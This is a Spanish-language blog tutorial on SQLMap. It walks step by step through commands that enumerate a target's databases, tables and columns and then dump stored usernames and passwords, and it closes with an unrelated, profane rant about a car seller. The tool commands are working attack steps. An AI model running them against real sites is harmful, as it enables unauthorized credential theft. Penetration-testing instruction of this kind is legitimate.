
En el mundo de la ciberseguridad, SQLMap es una de las herramientas más poderosas y populares para realizar pruebas de penetración en aplicaciones web. Esta herramienta automatiza el proceso de detección y explotación de vulnerabilidades de inyección SQL, una de las vulnerabilidades más comunes en aplicaciones web.
Si eres un pentester, un auditor de seguridad o simplemente un entusiasta de la ciberseguridad, aprender a usar SQLMap te permitirá detectar y explotar vulnerabilidades en bases de datos de forma rápida y eficiente. En este post, te explicaré cómo utilizar SQLMap paso a paso, con ejemplos reales.
🗺️ ¿Qué es SQLMap y Por Qué es Tan Importante?
SQLMap es una herramienta open-source diseñada específicamente para realizar pruebas de inyección SQL.
La inyección SQL es un tipo de ataque en el que un atacante puede insertar código SQL malicioso en una entrada de usuario, permitiéndole interactuar con la base de datos de una aplicación web.
SQLMap es extremadamente popular porque automatiza el proceso de descubrimiento y explotación de vulnerabilidades de inyección SQL.
Gracias a su capacidad para realizar ataques de fuerza bruta y escaneo automático, es una herramienta perfecta para pentesters.
Esta herramienta viene instalada por defecto en Kali Linux pero si de alguna forma no la tienes te dejo por aquí su repositorio (clica aquí hijo de mi vida)
Comando Básico de SQLMap: Introducción a la Sintaxis
El comando básico de SQLMap sigue esta estructura:
sqlmap –url <URL> [opciones]
- –url: Especifica la URL de la aplicación web que deseas escanear.
- [opciones]: Aquí puedes agregar parámetros adicionales para realizar tareas específicas, como obtener bases de datos, tablas, columnas, etc.
A continuación, te guiaré a través de una serie de ejemplos prácticos para que entiendas cómo usar SQLMap en escenarios reales.
🔺Identificación de Bases de Datos: Primer Paso en SQLMap
El primer paso para detectar una vulnerabilidad de inyección SQL es identificar las bases de datos de la aplicación web. Para hacer esto, usamos el siguiente comando:
sqlmap –url «http://víctima/» –dbs –batch –forms
- –dbs: Solicita las bases de datos disponibles en la aplicación.
- –batch: Ejecuta el comando automáticamente sin pedir confirmación al usuario.
- –forms: Permite a SQLMap detectar formularios de entrada, lo cual es útil si la vulnerabilidad está en un formulario web.
Este comando nos dio una lista de las bases de datos en la aplicación vulnerable, lo que nos permitió pasar al siguiente paso: explorar las tablas.
🔺Escaneo de Tablas: ¿Qué Información Almacena la Aplicación?
Una vez que tenemos acceso a la base de datos, el siguiente paso es explorar las tablas dentro de esa base de datos para entender qué tipo de información almacena. En este caso, ejecuté el siguiente comando para ver las tablas en la base de datos register:
sqlmap –url http://víctima/ -D register –tables –batch –forms
- -D register: Especifica la base de datos que queremos explorar.
- –tables: Muestra las tablas disponibles dentro de la base de datos.
El resultado fue una tabla en la base de datos register, lo que nos permitió avanzar para la siguiente fase.
🔺Exploración de Columnas: Descubriendo Qué Datos Se Almacenan
Ahora que conocemos las tablas, podemos explorar las columnas dentro de una tabla específica. En este caso, seleccionamos la tabla users para ver qué tipo de información se almacena, utilizando el siguiente comando:
sqlmap –url «http://ip víctima/» -D register -T users –columns –batch –forms
- -T users: Especifica la tabla que queremos explorar.
- –columns: Muestra las columnas dentro de la tabla seleccionada.
Con esto, obtuvimos una lista de columnas en la tabla users, que en este caso fueron username y passwd.
🔺Explotación de la Vulnerabilidad: Extrayendo Datos Sensibles
Finalmente, para extraer los datos de interés (en este caso, nombre de usuario y contraseña), ejecutamos el siguiente comando:
sqlmap –url «http://ip víctima/» -D register -T users -C passwd,username –dump –batch –forms
- -C passwd,username: Especifica las columnas que queremos extraer (en este caso, passwd y username).
- –dump: Extrae los datos de las columnas seleccionadas.
El resultado fue exitoso, y SQLMap nos mostró un usuario y una contraseña , es como si hubiese echo una fokin correcta explotación de la base de datos y a la vez te haya enseñado a usar SQLmap como un pro maquina ninja hacker 3000.
Por cierto….
¿Habéis visto a este capullo por algún lado? Este mono me estafó vendiéndome un coche, me dijo que tenía solo 10,000 kilómetros, ¡pero el muy cabrón lo había trucado y tenía más de 200.000! Me juró que estaba como nuevo, pero lo que no me dijo es que había tenido un accidente y lo había arreglado con cuatro parches. ¡El mierdas lo quería quitar de encima, y vaya si lo hizo! Si alguien lo ve, que le dé dos sopapos y le pida el dinero de vuelta. Comparte esta historia para que nadie más caiga en la trampa .
